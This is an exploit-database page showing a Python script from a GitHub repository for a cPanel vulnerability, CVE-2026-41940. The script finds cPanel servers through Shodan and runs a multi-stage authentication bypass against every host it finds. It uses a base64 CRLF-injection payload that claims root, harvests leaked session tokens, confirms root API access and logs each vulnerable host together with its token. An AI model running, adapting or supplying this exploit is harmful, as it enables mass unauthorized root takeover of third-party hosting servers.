Exploit databaseDownload repository ZIP
GH-8f2a104fc73d115cb589bb8dca9ad2f5
merdw/cpanel-cve-2026-41940-scanner
Sources for CVE-2026-41940
51 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
merdw/cpanel-cve-2026-41940-scannerRevision 7a2c57770164
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
scanner.py
Python · 8,446 bytesimport os
import re
import json
import sqlite3
import logging
import requests
import urllib3
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
# Initialize Colorama
init(autoreset=True)
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Payload from PoC
PAYLOAD_B64 = (
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
"OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)
class CPanelScanner:
def __init__(self, config_path='config.json'):
self.load_config(config_path)
self.setup_logging()
self.init_db()
self.success_file = 'success.txt'
def load_config(self, path):
if not os.path.exists(path):
print(f"{Fore.RED}[!] Config file not found: {path}")
exit(1)
with open(path, 'r') as f:
self.config = json.load(f)
self.api_key = self.config.get('shodan_api_key')
self.threads = self.config.get('threads', 50)
self.timeout = self.config.get('timeout', 15)
def setup_logging(self):
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[logging.FileHandler("scanner.log"), logging.StreamHandler()]
)
self.logger = logging.getLogger(__name__)
def init_db(self):
self.conn = sqlite3.connect('scanner.db', check_same_thread=False)
self.cursor = self.conn.cursor()
self.cursor.execute('''
CREATE TABLE IF NOT EXISTS scanned_targets (
target TEXT PRIMARY KEY
)
''')
self.conn.commit()
def is_scanned(self, target):
self.cursor.execute('SELECT 1 FROM scanned_targets WHERE target = ?', (target,))
return self.cursor.fetchone() is not None
def mark_scanned(self, target):
try:
self.cursor.execute('INSERT INTO scanned_targets (target) VALUES (?)', (target,))
self.conn.commit()
except sqlite3.IntegrityError:
pass
def fetch_shodan_targets(self):
if not self.api_key or self.api_key == "YOUR_SHODAN_API_KEY":
self.logger.error("Shodan API key not configured!")
return []
ports = [2083, 2087, 2096]
all_targets = []
for port in ports:
query = f'product:"cPanel" port:{port}'
self.logger.info(f"Fetching targets from Shodan for query: {query}")
try:
url = f"https://api.shodan.io/shodan/host/search?key={self.api_key}&query={urllib.parse.quote(query)}"
response = requests.get(url, timeout=30)
if response.status_code == 200:
data = response.json()
for match in data.get('matches', []):
ip = match.get('ip_str')
all_targets.append(f"{ip}:{port}")
else:
self.logger.error(f"Shodan API error: {response.status_code} - {response.text}")
except Exception as e:
self.logger.error(f"Error fetching Shodan targets: {e}")
return list(set(all_targets))
def http_request(self, session, method, scheme, host, port, canonical, path, **kwargs):
headers = kwargs.pop("headers", {})
headers.setdefault("Host", f"{canonical}:{port}")
headers.setdefault("Connection", "close")
headers.setdefault("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
url = f"{scheme}://{host}:{port}{path}"
return session.request(
method,
url,
headers=headers,
allow_redirects=False,
verify=False,
timeout=self.timeout,
**kwargs
)
def discover_canonical_host(self, scheme, host, port):
try:
r = requests.get(
f"{scheme}://{host}:{port}/openid_connect/cpanelid",
verify=False,
allow_redirects=False,
headers={"Connection": "close"},
timeout=self.timeout,
)
loc = r.headers.get("Location", "")
m = re.match(r"^https?://([^:/]+)", loc)
if m:
return m.group(1)
except:
pass
return host
def check_vulnerability(self, target):
if self.is_scanned(target):
return
self.mark_scanned(target)
host, port = target.split(':')
scheme = "https" # cPanel SSL ports
try:
canonical = self.discover_canonical_host(scheme, host, port)
session = requests.Session()
# Stage 1: Pre-auth cookie minting
r1 = self.http_request(session, "POST", scheme, host, port, canonical,
"/login/?login_only=1",
data={"user": "root", "pass": "wrong"})
cookie_value = None
# requests doesn't always expose raw headers easily if multiple set-cookie exist
# but we can look at session.cookies or r.headers
for k, v in r1.headers.items():
if k.lower() == "set-cookie" and "whostmgrsession=" in v:
m = re.search(r"whostmgrsession=([^;]+)", v)
if m:
cookie_value = urllib.parse.unquote(m.group(1))
break
if not cookie_value:
return
session_base = cookie_value.split(",", 1)[0] if "," in cookie_value else cookie_value
# Stage 2: CRLF Injection & Token Leakage
cookie_enc = urllib.parse.quote(session_base)
r2 = self.http_request(session, "GET", scheme, host, port, canonical, "/",
headers={
"Authorization": f"Basic {PAYLOAD_B64}",
"Cookie": f"whostmgrsession={cookie_enc}",
})
loc = r2.headers.get("Location", "")
token_match = re.search(r"/cpsess\d{10}", loc)
if not token_match:
return
token = token_match.group(0)
# Stage 3: Propagate (Trigger cache)
r3 = self.http_request(session, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Stage 4: Verify root access
r4 = self.http_request(session, "GET", scheme, host, port, canonical,
f"{token}/json-api/version",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = (r4.text or "").strip()
is_vulnerable = False
if r4.status_code == 200 and '"version"' in body:
is_vulnerable = True
elif r4.status_code in (500, 503) and "License" in body:
is_vulnerable = True
if is_vulnerable:
self.logger.info(f"{Fore.GREEN}[+] VULNERABLE: {target} (Leaked Token: {token})")
with open(self.success_file, 'a') as f:
f.write(f"{target} | Token: {token}\n")
else:
self.logger.info(f"{Fore.YELLOW}[-] Not Vulnerable: {target}")
except Exception as e:
self.logger.debug(f"Error scanning {target}: {e}")
def run(self):
targets = self.fetch_shodan_targets()
if not targets:
self.logger.info("No targets to scan.")
return
self.logger.info(f"Starting scan on {len(targets)} targets with {self.threads} threads...")
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = {executor.submit(self.check_vulnerability, target): target for target in targets}
for future in as_completed(futures):
pass # Results are handled within check_vulnerability
self.logger.info("Scan completed.")
if __name__ == "__main__":
scanner = CPanelScanner()
scanner.run()